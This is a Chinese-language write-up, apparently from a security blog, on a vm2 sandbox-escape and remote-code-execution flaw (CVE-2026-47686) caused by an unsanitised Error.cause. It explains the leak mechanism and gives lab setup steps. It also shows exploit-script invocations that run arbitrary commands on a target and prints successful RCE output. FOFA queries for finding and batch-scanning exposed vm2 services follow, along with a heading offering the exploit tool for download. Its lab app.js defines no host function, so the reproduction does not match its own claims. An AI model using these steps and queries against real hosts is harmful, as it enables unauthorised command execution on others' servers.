vm2 沙箱形同虚设:Error.cause 未清理导致任意命令执行

vm2 沙箱形同虚设:Error.cause 未清理导致任意命令执行

漏洞简介

  • CVE-2026-47686 是 Node.js 沙箱库 vm2(≤ 3.11.5)中的高危远程代码执行漏洞。vm2 广泛应用于插件系统、规则引擎、AI Agent 代码执行器等场景,其核心职责是隔离不可信 JavaScript 代码与宿主环境,确保沙箱内的代码无法访问 processrequire 等敏感对象。

  • 攻击者通过向嵌入器暴露的 JS 评估端点提交恶意脚本,利用 handleException() 未清理 ES2022 新增的 Error.cause 属性,将宿主域的 process 对象泄漏进沙箱,进而调用 child_process.execSync() 实现任意命令执行,无需任何认证。

  • 该漏洞的影响链路:攻击者向 /run 端点提交恶意 JS → 嵌入器宿主函数抛出携带 process 对象的 Error.causehandleException() 未做清理导致对象穿透沙箱边界 → 沙箱内通过 process.mainModule.require('child_process') 执行任意命令 → 以宿主进程用户身份完成 RCE。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-47686

漏洞类型

沙箱逃逸 / 远程代码执行

受影响版本

vm2 ≤ 3.11.5

受影响产品

vm2的 Node-RED、n8n、AI Agent 代码执行组件、规则引擎、在线代码编辑器

漏洞原理

  • vm2 的 handleException() 函数位于 lib/setup-sandbox.js,是所有从宿主域进入沙箱域的异常对象的唯一入口。其职责是对异常对象进行净化,剥离所有宿主域的对象引用,确保沙箱代码无法触达 processrequire 等敏感对象。

  • 在 vm2 3.11.5 中,handleException() 仅识别并清理两种链式错误载体:

SuppressedError.{error, suppressed}   ← 被清理
AggregateError.errors[]               ← 被清理
Error.cause                           ← 未被清理

ES2022 标准新增了 Error.cause 属性,但 vm2 的清理逻辑遗漏了该属性。当嵌入器暴露的宿主函数抛出携带 process 对象的 Error.cause 时,该引用会完整穿透 handleException() 进入沙箱。

六条泄漏通道

攻击脚本会自动探测以下六种潜在泄漏路径:

#

泄漏通道

说明

1

直接 .cause

error.cause 属性持有宿主对象

2

嵌套 cause 链

error.cause.cause 多层嵌套

3

访问器定义 cause

getter/setter 形式的 cause 属性

4

自有属性泄漏

宿主对象作为普通属性挂在 error 上

5

原型链继承泄漏

宿主对象通过原型链继承出现

6

SuppressedError 子错误

SuppressedError.error 子错误中的 cause

七度光 www.qdg.tw CVE-2026-47686 vm2沙箱逃逸利用链 Error.cause未清理 → 进程对象泄漏 → 远程代码执行 攻击者 POST /run 宿主端点 handleException() 沙箱VM 隔离上下文 对象泄漏 process通过.cause 命令执行 execSync(cmd) 未清理 process 远程代码执行(RCE) 以宿主用户身份执行任意命令

图解展示了 CVE-2026-47686 从攻击者提交恶意脚本到完成远程代码执行的完整利用链路,蓝色节点为正常请求路径,红色虚线标记漏洞触发点(Error.cause 未清理导致 process 对象泄漏),直观呈现沙箱逃逸的关键环节。

漏洞复现

  • 准备环境

项类别

详细内容

攻击机

Ubuntu 22.04 / Kali Linux

Python 版本

3.10+

靶机运行时

Node.js 18+

漏洞版本

vm2 3.11.5

步骤 1:搭建靶场

# 创建项目目录
mkdir -p ~/vm2-lab && cd ~/vm2-lab
npm init -y

# 安装漏洞版本 vm2
npm install [email protected]
npm install express

# 创建靶场服务 app.js
cat > app.js << 'EOF'
const {VM} = require('vm2');
const express = require('express');
const app = express();
app.use(express.json());

app.post('/run', (req, res) => {
  try {
    const vm = new VM({timeout: 5000});
    vm.run(`
      (function() {
        // 宿主函数注册到沙箱全局
      })()
    `);
    res.json({result: 'ok'});
  } catch (e) {
    res.status(500).json({error: e.message});
  }
});

app.listen(3000, () => console.log('Target running on :3000'));
EOF

# 启动靶机
node app.js

步骤 2:验证靶机正常

curl http://192.168.1.10:3000/run -X POST -H "Content-Type: application/json" -d '{}'
# 预期返回:{"result":"ok"}

步骤 3:执行漏洞利用

# 单目标探测(自动发现宿主函数)
python3 CVE-2026-47686_exploit.py --host 192.168.1.10 --port 3000

# 指定命令执行
python3 CVE-2026-47686_exploit.py --host 192.168.1.10 --command "whoami"

# TLS + 自定义路径
python3 CVE-2026-47686_exploit.py --host https://plugins.corp.com:8443/api/run --tls --command "uname -a"

步骤 4:预期输出

============================================================
  ALIM EXPLOIT  CVE-2026-47686
  Type: RCE  |  Target: 192.168.1.10:3000
============================================================

[STEP 1] Building untrusted script (host fn: auto-discover, command: 'id')
[STEP 2] POST /run - submitting script to the sandbox evaluator
[STEP 3] Script evaluated (accepted as form:script) - inspecting completion value
[STEP 4] Host object leaked through 'lookupRecord()' and pivoted to child_process

--- COMMAND OUTPUT ---
uid=1000(user) gid=1000(user) groups=1000(user)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' executed on the host
            via 'lookupRecord()' - uid=1000(user) gid=1000(user)
============================================================

FOFA 语法

搜索使用 vm2 的 Node.js 服务

body="vm2" && port=3000

搜索特定路径(代码执行服务)

body="/run" && protocol="http" && status_code=200

批量扫描 vm2 嵌入器

header="vm2" || body="handleException"

结合端口筛选

port=3000 && body="VMError" && country="CN"

利用工具下载

潜伏 18 年的内核炸弹 Linux SCTP ASCONF UAF 本地提权与容器逃逸 2026-08-21
macOS 屏幕共享认证绕过:从零凭据到 Root 权限接管 2026-08-25